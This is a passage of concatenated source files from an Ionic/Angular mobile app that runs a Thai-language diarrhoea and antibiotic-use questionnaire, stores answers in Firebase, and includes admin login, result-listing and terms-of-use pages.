modal.present(); } async openModalE() { const modal = await this.modalController.create({ component: InfoEPage }); return await modal.present(); } async openModalF() { const modal = await this.modalController.create({ component: InfoFPage }); return await modal.present(); } } <file_sep>import { Component, OnInit } from '@angular/core'; import { NavController, LoadingController } from '@ionic/angular'; import { Router, RouterEvent } from '@angular/router'; import { IonicImageLoader } from 'ionic-image-loader'; @Component({ selector: 'app-admin', templateUrl: './admin.page.html', styleUrls: ['./admin.page.scss'], }) export class AdminPage implements OnInit { constructor( private navController: NavController, private router: Router, public loadingController: LoadingController) { } ngOnInit() { // this.presentLoading(); } doRefresh(event) { console.log('Begin async operation'); setTimeout(() => { console.log('Async operation has ended'); event.target.complete(); }, 2000); } async presentLoading() { const loading = await this.loadingController.create({ message: 'Loading', duration: 2000 }); await loading.present(); const { role, data } = await loading.onDidDismiss(); console.log('Loading dismissed!'); } async openlink() { window.open('https://docs.google.com/forms/d/1WA2J6gJ2o0qFSWTOnOJLY1hqZgzwjXmhIj-Q-ldhun4/edit#responses', '_system', 'location=yes'); } async openAssess() { this.navController.navigateForward('listanswer-admin'); } } <file_sep>import { Component, OnInit } from '@angular/core'; import { NavController } from '@ionic/angular'; import * as firebase from 'firebase'; import * as moment from 'moment'; import { AngularFireDatabase } from '@angular/fire/database'; import { Answer } from 'src/app/model/answer'; @Component({ selector: 'app-assess-a', templateUrl: './assess-a.page.html', styleUrls: ['./assess-a.page.scss'], }) export class AssessAPage implements OnInit { public checkY = false; public checkN = false; public database = firebase.database(); answer: Answer = new Answer(); constructor(private navController: NavController, private db: AngularFireDatabase) { } ngOnInit() { } doRefresh(event) { console.log('Begin async operation'); setTimeout(() => { console.log('Async operation has ended'); event.target.complete(); }, 2000); } clickNext() { if (this.checkY === true) { this.navController.navigateForward('assess-bb'); } if (this.checkN === true) { this.navController.navigateForward('assess-ba'); } } clickCancel() { this.navController.navigateBack('home2'); } clickYes() { this.navController.navigateForward('assess-bb'); } clickNo() { const time = moment().format('YYYY-MM-DD-HH:mm:ss'); const date = moment().format('YYYY-MM-DD'); this.answer.อุจจาระร่วงเฉียบพลัน = 'ไม่ใช่'; this.answer.ผลลัพธ์ = 'แนะนำให้ผู้รับบริการไปพบแพทย์ใกล้บ้านทันที เพื่อหาสาเหตุที่ชัดเจน'; this.answer.เวลา = time; // const itemRef = this.db.list(`Questionnaire/${date}`); // itemRef.push(this.answer).then(() => { // this.navController.navigateForward('assess-ba'); // }); const itemRef = this.db.database.ref(`Questionnaire/${date}`); itemRef.child(`${time}`).set(this.answer).then(() => { this.navController.navigateForward('assess-ba'); }); } } <file_sep>import { Component, OnInit } from '@angular/core'; import { ActivatedRoute, Router, NavigationExtras } from '@angular/router'; import { AngularFireDatabase, AngularFireList } from '@angular/fire/database'; import { Observable } from 'rxjs'; import { Answer } from 'src/app/model/answer'; import { NavController, NavParams } from '@ionic/angular'; import { map } from 'rxjs/operators'; @Component({ selector: 'app-listanswer-detail', templateUrl: './listanswer-detail.page.html', styleUrls: ['./listanswer-detail.page.scss'], }) export class ListanswerDetailPage implements OnInit { dataa: string; datas: string; item: Observable<any>; key: Array<Observable<any>>; test: Observable<any>; itemsRef: AngularFireList<any>; items: Observable<any[]>; constructor(private db: AngularFireDatabase, private route: ActivatedRoute, private router: Router, public navCtrl: NavController) { this.route.queryParams.subscribe(params => { if (params && params.date) { this.dataa = JSON.parse(params.date); } this.item = this.db.list(`Questionnaire/${this.dataa}/`).snapshotChanges(); this.item.subscribe((data) => { this.key = data; console.log(data); }); this.test = this.db.list(`Questionnaire/${this.dataa}/`).snapshotChanges(); // this.test.subscribe(data => { // console.log(data); // }); this.itemsRef = db.list(`Questionnaire/${this.dataa}/`); // Use snapshotChanges().map() to store the key this.items = this.itemsRef.snapshotChanges().pipe( map(changes => changes.map(c => ({ key: c.payload.key, ...c.payload.val() })) ) ); }); } ngOnInit() { } doRefresh(event) { console.log('Begin async operation'); setTimeout(() => { console.log('Async operation has ended'); event.target.complete(); }, 2000); } findDetail(key: string) { const navigationExtras: NavigationExtras = { queryParams: { date: JSON.stringify(this.dataa), key: JSON.stringify(key), } }; this.router.navigate(['listanswer-result'], navigationExtras); // this.navController.navigateForward('listanswer-admin'); } } <file_sep>export const environment = { production: true, firebase: { apiKey: '<KEY>', authDomain: 'rdubu-dev.firebaseapp.com', databaseURL: 'https://rdubu-dev.firebaseio.com', projectId: 'rdubu-dev', storageBucket: '', messagingSenderId: '618552442981', appId: '1:618552442981:web:4ea97e7da67c4d489b068c' } }; <file_sep>import { NgModule } from '@angular/core'; import { CommonModule } from '@angular/common'; import { FormsModule } from '@angular/forms'; import { Routes, RouterModule } from '@angular/router'; import { IonicModule } from '@ionic/angular'; import { AssessEcPage } from './assess-ec.page'; const routes: Routes = [ { path: '', component: AssessEcPage } ]; @NgModule({ imports: [ CommonModule, FormsModule, IonicModule, RouterModule.forChild(routes) ], declarations: [AssessEcPage] }) export class AssessEcPageModule {} <file_sep>export class Answer { 'อุจจาระร่วงเฉียบพลัน': string; 'อาการแสดงเด่น': string; 'อาการผู้ป่วย': string; 'อุจจาระร่วงจากการเดินทาง': string; 'ประเมินภาวะการสูญเสียน้ำ': string; 'ผลลัพธ์': string; 'เวลา': String; } <file_sep>import { Component, OnInit } from '@angular/core'; import { Observable } from 'rxjs'; import { Router, ActivatedRoute, NavigationExtras} from '@angular/router'; import { AngularFireDatabase } from '@angular/fire/database'; import { Answer } from 'src/app/model/answer'; import { NavController, NavParams } from '@ionic/angular'; @Component({ selector: 'app-listanswer-result', templateUrl: './listanswer-result.page.html', styleUrls: ['./listanswer-result.page.scss'], }) export class ListanswerResultPage implements OnInit { dataa: string; datas: string; item: Observable<any>; keys: string; answer = {} as Answer; result: string; items: Observable<any>; constructor(private db: AngularFireDatabase, private route: ActivatedRoute, private router: Router, public navCtrl: NavController) { this.route.queryParams.subscribe(params => { if (params && params.key && params.date) { this.keys = JSON.parse(params.key); this.dataa = JSON.parse(params.date); } this.item = this.db.list(`Questionnaire/${this.dataa}/${this.keys}`).snapshotChanges(); this.item.subscribe((data) => { console.log(data); this.result = data; // console.log(JSON.stringify(data)); }); }); } ngOnInit() { } doRefresh(event) { console.log('Begin async operation'); setTimeout(() => { console.log('Async operation has ended'); event.target.complete(); }, 2000); } } <file_sep>import { Component, OnInit } from '@angular/core'; import { AngularFireAuth } from '@angular/fire/auth'; import { NavController } from '@ionic/angular'; import { UserService } from 'src/app/service/user.service'; import { AngularFireDatabase } from '@angular/fire/database'; import { ToastController } from '@ionic/angular'; import { toastController } from '@ionic/core'; @Component({ selector: 'app-login', templateUrl: './login.page.html', styleUrls: ['./login.page.scss'], }) export class LoginPage implements OnInit { username = ''; users = ''; password = ''; error: string; constructor( public afAuth: AngularFireAuth, public user: UserService, private navController: NavController, private db: AngularFireDatabase, private toastController: ToastController) { } ngOnInit() { } doRefresh(event) { console.log('Begin async operation'); setTimeout(() => { console.log('Async operation has ended'); event.target.complete(); }, 2000); } async showToastOnImage() { const toast = await this.toastController.create({ message: 'On MouseOver event on an image', duration: 2000, position: 'middle', }); toast.present(); } async login() { const { username, password } = this; // const controller = document.querySelector('ion-toast-controller'); // try { // kind of a hack. // const res = await this.afAuth.auth.signInWithEmailAndPassword(username + '@<PASSWORD>', password); // if (res.user) { // this.user.setUser({ // username, // uid: res.user.uid // }); // this.navController.navigateForward('menuadmin'); // } if (username === '') { const toast = toastController.create({ message: 'Please insert username.', duration: 2000, position: 'bottom' }); (await toast).present(); } else if (password === '') { const toast = toastController.create({ message: 'Please insert password.', duration: 2000, position: 'bottom' }); (await toast).present(); } else { if (username === 'admin') { this.users = username + '@<PASSWORD>'; } else { this.users = username; } this.afAuth.auth.signInWithEmailAndPassword(this.users, password).then((res) => { this.db.database.ref(`user/${res.user.uid}/profile`).update({ token: res.user.refreshToken }); this.navController.navigateForward('menuadmin'); }).catch(async function (error) { // Handle Errors here. const errorCode = error.code; let errorMessage = error.message; if (errorCode === 'auth/invalid-email') { errorMessage = 'Invalid Email.'; const toast = toastController.create({ message: errorMessage, duration: 2000, position: 'bottom' }); (await toast).present(); } else if (errorCode === 'auth/invalid-password') { errorMessage = 'Invalid Password.'; const toast = toastController.create({ message: errorMessage, duration: 2000, position: 'bottom' }); (await toast).present(); } else if (errorCode === 'auth/user-not-found') { errorMessage = 'User not found.'; const toast = toastController.create({ message: errorMessage, duration: 2000, position: 'bottom' }); (await toast).present(); } else if (errorCode === 'auth/wrong-password') { errorMessage = 'Wrong Password.'; const toast = toastController.create({ message: errorMessage, duration: 2000, position: 'bottom' }); (await toast).present(); } else { errorMessage = errorMessage; const toast = toastController.create({ message: errorMessage, duration: 2000, position: 'bottom' }); (await toast).present(); } }); } } } <file_sep>import { NgModule } from '@angular/core'; import { CommonModule } from '@angular/common'; import { FormsModule } from '@angular/forms'; import { Routes, RouterModule } from '@angular/router'; import { IonicModule } from '@ionic/angular'; import { MenuadminPage } from './menuadmin.page'; const routes: Routes = [ { path: '', redirectTo: '/menuadmin/admin', pathMatch: 'full' }, { path: '', component: MenuadminPage, children: [ { path: 'admin', loadChildren: '../admin/admin.module#AdminPageModule' }, { path: 'profile', loadChildren: '../profile/profile.module#ProfilePageModule' } ], } ]; @NgModule({ imports: [ CommonModule, FormsModule, IonicModule, RouterModule.forChild(routes) ], declarations: [MenuadminPage] }) export class MenuadminPageModule { } <file_sep>import { Component, OnInit } from '@angular/core'; import { NavController, ToastController, AlertController } from '@ionic/angular'; import { Router, RouterEvent } from '@angular/router'; import { AngularFireAuth } from '@angular/fire/auth'; import { toastController } from '@ionic/core'; import { async } from '@angular/core/testing'; @Component({ selector: 'app-menuadmin', templateUrl: './menuadmin.page.html', styleUrls: ['./menuadmin.page.scss'], }) export class MenuadminPage implements OnInit { pages = [ { title: 'Menu', url: '/menuadmin/admin', icon: 'home' }, // { title: 'Profile', url: '/menuadmin/profile', icon: 'logo-ionitron'} ]; selectedPath: string = ''; constructor(public afAuth: AngularFireAuth, private navController: NavController, private router: Router, private toastController: ToastController, public alertController: AlertController) { } ngOnInit() { } doRefresh(event) { console.log('Begin async operation'); setTimeout(() => { console.log('Async operation has ended'); event.target.complete(); }, 2000); } async openlink() { window.open('https://docs.google.com/forms/d/1WA2J6gJ2o0qFSWTOnOJLY1hqZgzwjXmhIj-Q-ldhun4/edit#responses', '_system', 'location=yes'); } async openAssess() { this.navController.navigateForward('listanswer-admin'); } async logout() { // this.afAuth.auth.signOut().then(function() { // this.navController.navigateForward('register'); // // Sign-out successful. // }).catch(function(error) { // console.log(error) // // An error happened // }); const alert = await this.alertController.create({ header: 'Confirm!', message: 'Do you want to sign out?', buttons: [ { text: 'Cancel', role: 'cancel', cssClass: 'secondary', handler: async (blah) => { console.log('Confirm Cancel'); let toast = toastController.create({ message: "Cancel logout.", duration: 2000, position: 'bottom' }); (await (toast)).present(); } }, { text: 'Confirm', handler: async () => { console.log('Confirm Okay'); this.afAuth.auth.signOut(); let toast = toastController.create({ message: "Logout complete.", duration: 2000, position: 'bottom' }); (await (toast)).present(); this.navController.navigateRoot('register'); } } ] }); await alert.present(); let result = await alert.onDidDismiss(); console.log(result); } } <file_sep>import { Component, OnInit } from '@angular/core'; import { NavController, ToastController, AlertController } from '@ionic/angular'; import { Network } from '@ionic-native/network/ngx'; @Component({ selector: 'app-register', templateUrl: './register.page.html', styleUrls: ['./register.page.scss'], }) export class RegisterPage implements OnInit { constructor( private navController: NavController, public toastController: ToastController, public alertController: AlertController, public network: Network) { } ngOnInit() { } doRefresh(event) { console.log('Begin async operation'); setTimeout(() => { console.log('Async operation has ended'); event.target.complete(); }, 2000); } clickUser() { this.navController.navigateRoot('home2'); } clickLogin() { this.navController.navigateForward('login'); } } <file_sep>import { NgModule } from '@angular/core'; import { PreloadAllModules, RouterModule, Routes } from '@angular/router'; const routes: Routes = [ { path: '', redirectTo: 'terms', pathMatch: 'full' }, { path: 'home', loadChildren: () => import('./home/home.module').then( m => m.HomePageModule)}, { path: 'about', loadChildren: './pages/about/about.module#AboutPageModule' }, { path: 'admin', loadChildren: './pages/admin/admin.module#AdminPageModule' }, { path: 'assess-a', loadChildren: './pages/assess-a/assess-a.module#AssessAPageModule' }, { path: 'assess-ba', loadChildren: './pages/assess-ba/assess-ba.module#AssessBaPageModule' }, { path: 'assess-bb', loadChildren: './pages/assess-bb/assess-bb.module#AssessBbPageModule' }, { path: 'assess-ca', loadChildren: './pages/assess-ca/assess-ca.module#AssessCaPageModule' }, { path: 'assess-cb', loadChildren: './pages/assess-cb/assess-cb.module#AssessCbPageModule' }, { path: 'assess-da', loadChildren: './pages/assess-da/assess-da.module#AssessDaPageModule' }, { path: 'assess-db', loadChildren: './pages/assess-db/assess-db.module#AssessDbPageModule' }, { path: 'assess-e', loadChildren: './pages/assess-e/assess-e.module#AssessEPageModule' }, { path: 'assess-ea', loadChildren: './pages/assess-ea/assess-ea.module#AssessEaPageModule' }, { path: 'assess-eb', loadChildren: './pages/assess-eb/assess-eb.module#AssessEbPageModule' }, { path: 'assess-ec', loadChildren: './pages/assess-ec/assess-ec.module#AssessEcPageModule' }, { path: 'home2', loadChildren: './pages/home/home.module#HomePageModule' }, { path: 'info', loadChildren: './pages/info/info.module#InfoPageModule' }, { path: 'info-a', loadChildren: './pages/info-a/info-a.module#InfoAPageModule' }, { path: 'info-b', loadChildren: './pages/info-b/info-b.module#InfoBPageModule' }, { path: 'info-c', loadChildren: './pages/info-c/info-c.module#InfoCPageModule' }, { path: 'info-d', loadChildren: './pages/info-d/info-d.module#InfoDPageModule' }, { path: 'info-e', loadChildren: './pages/info-e/info-e.module#InfoEPageModule' }, { path: 'info-f', loadChildren: './pages/info-f/info-f.module#InfoFPageModule' }, { path: 'listanswer', loadChildren: './pages/listanswer/listanswer.module#ListanswerPageModule' }, { path: 'listanswer-admin', loadChildren: './pages/listanswer-admin/listanswer-admin.module#ListanswerAdminPageModule' }, { path: 'listanswer-detail', loadChildren: './pages/listanswer-detail/listanswer-detail.module#ListanswerDetailPageModule' }, { path: 'listanswer-result', loadChildren: './pages/listanswer-result/listanswer-result.module#ListanswerResultPageModule' }, { path: 'login', loadChildren: './pages/login/login.module#LoginPageModule' }, { path: 'menu', loadChildren: './pages/menu/menu.module#MenuPageModule' }, { path: 'menuadmin', loadChildren: './pages/menuadmin/menuadmin.module#MenuadminPageModule' }, { path: 'profile', loadChildren: './pages/profile/profile.module#ProfilePageModule' }, { path: 'register', loadChildren: './pages/register/register.module#RegisterPageModule' }, { path: 'splash', loadChildren: './pages/splash/splash.module#SplashPageModule' }, { path: 'suggest', loadChildren: './pages/suggest/suggest.module#SuggestPageModule' }, { path: 'terms', loadChildren: './pages/terms-of-use/terms-of-use.module#TermsOfUsePageModule' }, ]; @NgModule({ imports: [ RouterModule.forRoot(routes, { preloadingStrategy: PreloadAllModules }) ], exports: [RouterModule] }) export class AppRoutingModule { } <file_sep>import { Component, OnInit } from '@angular/core'; import { NavController , AlertController, ToastController } from '@ionic/angular'; import { Storage } from '@ionic/storage'; import { Network } from '@ionic-native/network/ngx'; @Component({ selector: 'app-terms-of-use', templateUrl: './terms-of-use.page.html', styleUrls: ['./terms-of-use.page.scss'], }) export class TermsOfUsePage implements OnInit { public checked :boolean = false; public term :string = ''; constructor(private navController: NavController, private storage: Storage, private network: Network) { } ngOnInit() { } doRefresh(event) { console.log('Begin async operation'); setTimeout(() => { console.log('Async operation has ended'); event.target.complete(); }, 2000); } clickNext() { localStorage.setItem('termL', 'true'); this.storage.set('termI', 'true').then((t) => console.log(t) ); // console.log(this.storage.get('termI')); this.navController.navigateRoot('register'); // this.navController.navigateForward('register'); } } <file_sep>import { Component } from '@angular/core'; import { Platform, NavController, ToastController, AlertController, LoadingController } from '@ionic/angular'; import { SplashScreen } from '@ionic-native/splash-screen/ngx'; import { StatusBar } from '@ionic-native/status-bar/ngx'; import { Storage } from '@ionic/storage'; import { Network } from '@ionic-native/network/ngx'; import { timer, Observable, Subscription } from 'rxjs'; import { take } from 'rxjs/operators'; import { IonicImageLoader } from 'ionic-image-loader'; @Component({ selector: 'app-root', templateUrl: 'app.component.html', styleUrls: ['app.component.scss'] }) export class AppComponent { termL:string = ''; termI :string = ''; loading: any; loadingF: any; disconnectSubscription: Subscription; connectSubscriptionF: Subscription; disconnectSubscriptionF: Subscription; constructor( private platform: Platform, private splashScreen: SplashScreen, private statusBar: StatusBar, private storage: Storage, private network: Network, private navCtrl: NavController, public toastController: ToastController, public alertController: AlertController, public loadingController: LoadingController ) { this.firstConnect(); this.initializeApp(); } initializeApp() { this.platform.ready().then(() => { this.statusBar.styleDefault(); this.splashScreen.hide(); this.checkTerm(); this.isConnect(); }); } async firstConnect() { this.disconnectSubscription = this.network.onDisconnect().pipe(take(1)).subscribe(async (data) => { console.log(data.type); this.firstLoading(); }); } async isConnect() { this.disconnectSubscription = this.network.onDisconnect().subscribe(async (data) => { console.log(data.type); this.presentLoading(); }); } async firstLoading() { this.loadingF = await this.loadingController.create({ message: 'No Internet Connection!', mode: 'md' }); await this.loadingF.present().then(() => { this.connectSubscriptionF = this.network.onConnect().subscribe(async (data) => { await this.loadingF.dismiss().then(() => { console.log('dismiss connected'); }).then(() => { this.connectSubscriptionF.unsubscribe(); }); }); this.disconnectSubscriptionF = this.network.onDisconnect().subscribe(async (data) => { await this.loadingF.dismiss().then(() => { console.log('dismiss disconnected'); }).then(() => { this.disconnectSubscriptionF.unsubscribe(); }); }); }); } async presentLoading() { this.loading = await this.loadingController.create({ message: 'No Internet Connection!', mode: 'md' }); await this.loading.present().then(() => { const connectSubscription = this.network.onConnect().subscribe(async (data) => { await this.loading.dismiss().then(() => { console.log('dismiss connected'); }).then(() => { connectSubscription.unsubscribe(); }); await this.loadingF.dismiss().then(() => { console.log('dismiss F connected'); }).then(() => { this.connectSubscriptionF.unsubscribe(); }); }); const disconnectSubscription = this.network.onDisconnect().subscribe(async (data) => { await this.loading.dismiss().then(() => { console.log('dismiss disconnected'); }).then(() => { disconnectSubscription.unsubscribe(); }); await this.loadingF.dismiss().then(() => { console.log('dismiss F conncected'); }).then(() => { this.disconnectSubscriptionF.unsubscribe(); }); }); }); } // `${this.duration}` async checkTerm() { this.storage.get('termI').then((termI) => { this.termL = localStorage.getItem('termL'); if (this.termL === 'true') { this.navCtrl.navigateRoot('register'); } else { this.navCtrl.navigateRoot('terms'); } return console.log(termI); }); } } <file_sep><ion-header> <ion-toolbar> <ion-title>ข้อตกลงในการใช้งาน</ion-title> </ion-toolbar> </ion-header> <ion-content class="ion-padding"> <!-- <ion-refresher slot="fixed" (ionRefresh)="doRefresh($event)"> <ion-refresher-content></ion-refresher-content> </ion-refresher> --> <ion-card> <ion-card-header> <!-- <ion-card-subtitle>Card Subtitle</ion-card-subtitle> --> <ion-card-title>ข้อตกลงในการใช้งาน Application</ion-card-title> </ion-card-header> <ion-card-content> <ion-grid> <ion-row> <ion-col size="0.5"> <ion-text>&#8226;</ion-text> </ion-col> <ion-col> <ion-text >ผู้ที่เข้ามาใช้บริการจะต้องยอมรับและปฏิบัติตามข้อตกลงในการใช้งาน application</ion-text > </ion-col> </ion-row> <ion-row> <ion-col size="0.5"> <ion-text>&#8226;</ion-text> </ion-col> <ion-col> <ion-text >ผู้อ่านควรใช้วิจารณญาณในการใช้งาน application และปรึกษาแพทย์หรือเภสัชก่อนการใช้ยา</ion-text > </ion-col> </ion-row> <ion-row> <ion-col size="0.5"> <ion-text>&#8226;</ion-text> </ion-col> <ion-col> <ion-text >ข้อมูล เนื้อหา รูปภาพ และองค์ประกอบต่างๆที่มีอยู่ใน application ถูกเขียนขึ้นตามเอกสารอ้างอิง ที่ระบุในช่วงเวลาที่เขียนเท่านั้น ผู้ใช้งานต้องยอมรับว่าข้อมูลที่เกิดขึ้นภายหลังหรือข้อมูลในฐานข้อมูลที่แตกต่างกัน อาจทำให้เกิดข้อมูลหรือคำแนะนำที่ต่างออกไปจากที่มีการนำเสนอใน application</ion-text > </ion-col> </ion-row> <ion-row> <ion-col size="0.5"> <ion-text>&#8226;</ion-text> </ion-col> <ion-col> <ion-text >ข้อมูล เนื้อหา รูปภาพ และองค์ประกอบต่างๆที่ปรากฏใน application นี้เป็นแหล่งให้ความรู้ คำแนะนำ การใช้ยาปฏิชีวนะอย่างสมเหตุสมผลให้กับบุคลากรทางการแพทย์และประชาชนทั่วไปเท่านั้น หากมีปัญหาโรคอื่นนอกเนื่องจากนี้โปรดปรึกษาแพทย์ผู้เกี่ยวข้องโดยตรง และหากมีปัญหาเรื่องยาให้ปรึกษาเภสัชกรหรือบุคลากรทางการแพทย์ที่เกี่ยวข้อง</ion-text > </ion-col> </ion-row> <ion-row> <ion-col size="0.5"> <ion-text>&#8226;</ion-text> </ion-col> <ion-col> <ion-text >ข้อมูล เนื้อหา รูปภาพ และองค์ประกอบต่างๆที่ปรากฏใน application นี้เป็นแหล่งให้ความรู้ คำแนะนำ การใช้ยาปฏิชีวนะอย่างสมเหตุสมผลให้กับบุคลากรทางการแพทย์และประชาชนทั่วไปเท่านั้น หากมีปัญหาโรคอื่นนอกเนื่องจากนี้โปรดปรึกษาแพทย์ผู้เกี่ยวข้องโดยตรง และหากมีปัญหาเรื่องยาให้ปรึกษาเภสัชกรหรือบุคลากรทางการแพทย์ที่เกี่ยวข้อง</ion-text > </ion-col> </ion-row> </ion-grid> <!-- - ผู้ที่เข้ามาใช้บริการจะต้องยอมรับและปฏิบัติตามข้อตกลงในการใช้งาน application <br /> <br /> - ผู้อ่านควรใช้วิจารณญาณในการใช้งาน application และปรึกษาแพทย์หรือเภสัชก่อนการใช้ยา <br /> <br /> - ข้อมูล เนื้อหา รูปภาพ และองค์ประกอบต่างๆที่มีอยู่ใน application ถูกเขียนขึ้นตามเอกสารอ้างอิง ที่ระบุในช่วงเวลาที่เขียนเท่านั้น ผู้ใช้งานต้องยอมรับว่าข้อมูลที่เกิดขึ้นภายหลังหรือข้อมูลในฐานข้อมูลที่แตกต่างกัน อาจทำให้เกิดข้อมูลหรือคำแนะนำที่ต่างออกไปจากที่มีการนำเสนอใน application <br /> <br /> - ข้อมูล เนื้อหา รูปภาพ และองค์ประกอบต่างๆที่ปรากฏใน application นี้เป็นแหล่งให้ความรู้ คำแนะนำ การใช้ยาปฏิชีวนะอย่างสมเหตุสมผลให้กับบุคลากรทางการแพทย์และประชาชนทั่วไปเท่านั้น หากมีปัญหาโรคอื่นนอกเนื่องจากนี้โปรดปรึกษาแพทย์ผู้เกี่ยวข้องโดยตรง และหากมีปัญหาเรื่องยาให้ปรึกษาเภสัชกรหรือบุคลากรทางการแพทย์ที่เกี่ยวข้อง --> <br /> <ion-checkbox [(ngModel)]="checked"></ion-checkbox> <ion-label class="ion-text-wrap" >&nbsp;&nbsp;&nbsp;อ่านข้อตกลงการใช้งานแล้ว</ion-label > <br /><br /> <ion-button expand="block" [disabled]="!checked" (click)="clickNext()" >ถัดไป</ion-button > </ion-card-content> </ion-card> <ion-grid> <ion-row> </ion-row> </ion-grid> <br /> <div class="footer">RDUBU</div> </ion-content> <file_sep>import { Component, OnInit } from '@angular/core'; import { NavController } from '@ionic/angular'; import * as moment from 'moment'; import { AngularFireDatabase } from '@angular/fire/database'; import { Answer } from 'src/app/model/answer'; @Component({ selector: 'app-assess-db', templateUrl: './assess-db.page.html', styleUrls: ['./assess-db.page.scss'], }) export class AssessDbPage implements OnInit { public A :boolean = false; public B :boolean = false; public C :boolean = false; public D :boolean = false; answer: Answer = new Answer(); constructor(private navController: NavController, private db: AngularFireDatabase) { } ngOnInit() { } doRefresh(event) { console.log('Begin async operation'); setTimeout(() => { console.log('Async operation has ended'); event.target.complete(); }, 2000); } clickNext() { } clickCancel() { this.navController.navigateBack('home2'); } async clickOK() { const time = moment().format('YYYY-MM-DD-HH:mm:ss'); const date = moment().format('YYYY-MM-DD'); switch (true){ case (this.A==true && this.B==false && this.C==false && this.D==true): this.answer.อุจจาระร่วงเฉียบพลัน = 'ใช่'; this.answer.อาการแสดงเด่น = 'อุจจาระร่วงเด่น'; this.answer.อาการผู้ป่วย = 'อุจจาระเหลวเป็นน้ำ'; this.answer.ประเมินภาวะการสูญเสียน้ำ = 'ไม่อ่อนเพลีย, ไม่กระหายน้ำ และ ไม่มีภาวะปลายมือ ปลายเท้าซีด'; this.answer.ผลลัพธ์ = 'ไม่รุนแรง หรือ รุนแรงปานกลาง ไม่จำเป็นต้องใช้ยา Antibiotics'; this.answer.เวลา = time; // this.db.list(`Questionnaire/${date}`).push(this.answer).then(() => { // this.navController.navigateForward('assess-ea'); // }); this.db.database.ref(`Questionnaire/${date}`).child(`${time}`).set(this.answer).then(() => { this.navController.navigateForward('assess-ea'); }); break; case (this.A==true && this.B==false && this.C==true && this.D==false): this.answer.อุจจาระร่วงเฉียบพลัน = 'ใช่'; this.answer.อาการแสดงเด่น = 'อุจจาระร่วงเด่น'; this.answer.อาการผู้ป่วย = 'อุจจาระเหลวเป็นน้ำ'; this.answer.ประเมินภาวะการสูญเสียน้ำ = 'ไม่อ่อนเพลีย, ไม่กระหายน้ำ และ มีภาวะปลายมือ ปลายเท้าซีด'; this.answer.ผลลัพธ์ = 'รุนแรง จำเป็นต้องใช้ยา Antibiotics'; this.answer.เวลา = time; // this.db.list(`Questionnaire/${date}`).push(this.answer).then(() => { // this.navController.navigateForward('assess-ec'); // }); this.db.database.ref(`Questionnaire/${date}`).child(`${time}`).set(this.answer).then(() => { this.navController.navigateForward('assess-ec'); }); break; case (this.A==false && this.B==true && this.C==false && this.D==true): this.answer.อุจจาระร่วงเฉียบพลัน = 'ใช่'; this.answer.อาการแสดงเด่น = 'อุจจาระร่วงเด่น'; this.answer.อาการผู้ป่วย = 'อุจจาระเหลวเป็นน้ำ'; this.answer.ประเมินภาวะการสูญเสียน้ำ = 'มีอาการอ่อนเพลีย, ไม่กระหายน้ำ และ ไม่มีภาวะปลายมือ ปลายเท้าซีด'; this.answer.ผลลัพธ์ = 'รุนแรง จำเป็นต้องใช้ยา Antibiotics'; this.answer.เวลา = time; // this.db.list(`Questionnaire/${date}`).push(this.answer).then(() => { // this.navController.navigateForward('assess-ec'); // }); this.db.database.ref(`Questionnaire/${date}`).child(`${time}`).set(this.answer).then(() => { this.navController.navigateForward('assess-ec'); }); break; case (this.A==false && this.B==true && this.C==true && this.D==false): this.answer.อุจจาระร่วงเฉียบพลัน = 'Yes'; this.answer.อาการแสดงเด่น = 'อุจจาระร่วงเด่น'; this.answer.อาการผู้ป่วย = 'อุจจาระเหลวเป็นน้ำ'; this.answer.ประเมินภาวะการสูญเสียน้ำ = 'มีอาการอ่อนเพลีย, ถ่ายแต่ละครั้งมีปริมาณมาก และ มีภาวะปลายมือ ปลายเท้าซีด'; this.answer.ผลลัพธ์ = 'รุนแรง จำเป็นต้องใช้ยา Antibiotics'; this.answer.เวลา = time; // this.db.list(`Questionnaire/${date}`).push(this.answer).then(() => { // this.navController.navigateForward('assess-ec'); // }); this.db.database.ref(`Questionnaire/${date}`).child(`${time}`).set(this.answer).then(() => { this.navController.navigateForward('assess-ec'); }); break; case (this.A==true && this.B==false && this.C==false && this.D==false): this.answer.อุจจาระร่วงเฉียบพลัน = 'ใช่'; this.answer.อาการแสดงเด่น = 'อุจจาระร่วงเด่น'; this.answer.อาการผู้ป่วย = 'อุจจาระเหลวเป็นน้ำ'; this.answer.ประเมินภาวะการสูญเสียน้ำ = 'ไม่อ่อนเพลีย, ไม่กระหายน้ำ'; this.answer.ผลลัพธ์ = 'ไม่รุนแรง หรือ รุนแรงปานกลาง ไม่จำเป็นต้องใช้ยา Antibiotics'; this.answer.เวลา = time; // this.db.list(`Questionnaire/${date}`).push(this.answer).then(() => { // this.navController.navigateForward('assess-ea'); // }); this.db.database.ref(`Questionnaire/${date}`).child(`${time}`).set(this.answer).then(() => { this.navController.navigateForward('assess-ea'); }); break; case (this.A==false && this.B==true && this.C==false && this.D==false): this.answer.อุจจาระร่วงเฉียบพลัน = 'ใช่'; this.answer.อาการแสดงเด่น = 'อุจจาระร่วงเด่น'; this.answer.อาการผู้ป่วย = 'อุจจาระเหลวเป็นน้ำ'; this.answer.ประเมินภาวะการสูญเสียน้ำ = 'มีอาการอ่อนเพลีย, ถ่ายแต่ละครั้งมีปริมาณมาก'; this.answer.ผลลัพธ์ = 'รุนแรง จำเป็นต้องใช้ยา Antibiotics'; this.answer.เวลา = time; // this.db.list(`Questionnaire/${date}`).push(this.answer).then(() => { // this.navController.navigateForward('assess-ec'); // }); this.db.database.ref(`Questionnaire/${date}`).child(`${time}`).set(this.answer).then(() => { this.navController.navigateForward('assess-ec'); }); break; case (this.A==false && this.B==false && this.C==true && this.D==false): this.answer.อุจจาระร่วงเฉียบพลัน = 'ใช่'; this.answer.อาการแสดงเด่น = 'อุจจาระร่วงเด่น'; this.answer.อาการผู้ป่วย = 'อุจจาระเหลวเป็นน้ำ'; this.answer.ประเมินภาวะการสูญเสียน้ำ = 'มีภาวะปลายมือ ปลายเท้าซีด'; this.answer.ผลลัพธ์ = 'รุนแรง จำเป็นต้องใช้ยา Antibiotics'; this.answer.เวลา = time; // this.db.list(`Questionnaire/${date}`).push(this.answer).then(() => { // this.navController.navigateForward('assess-ec'); // }); this.db.database.ref(`Questionnaire/${date}`).child(`${time}`).set(this.answer).then(() => { this.navController.navigateForward('assess-ec'); }); break; case (this.A==false && this.B==false && this.C==false && this.D==true): this.answer.อุจจาระร่วงเฉียบพลัน = 'ใช่'; this.answer.อาการแสดงเด่น = 'อุจจาระร่วงเด่น'; this.answer.อาการผู้ป่วย = 'อุจจาระเหลวเป็นน้ำ'; this.answer.ประเมินภาวะการสูญเสียน้ำ = 'ไม่มีภาวะปลายมือ ปลายเท้าซีด'; 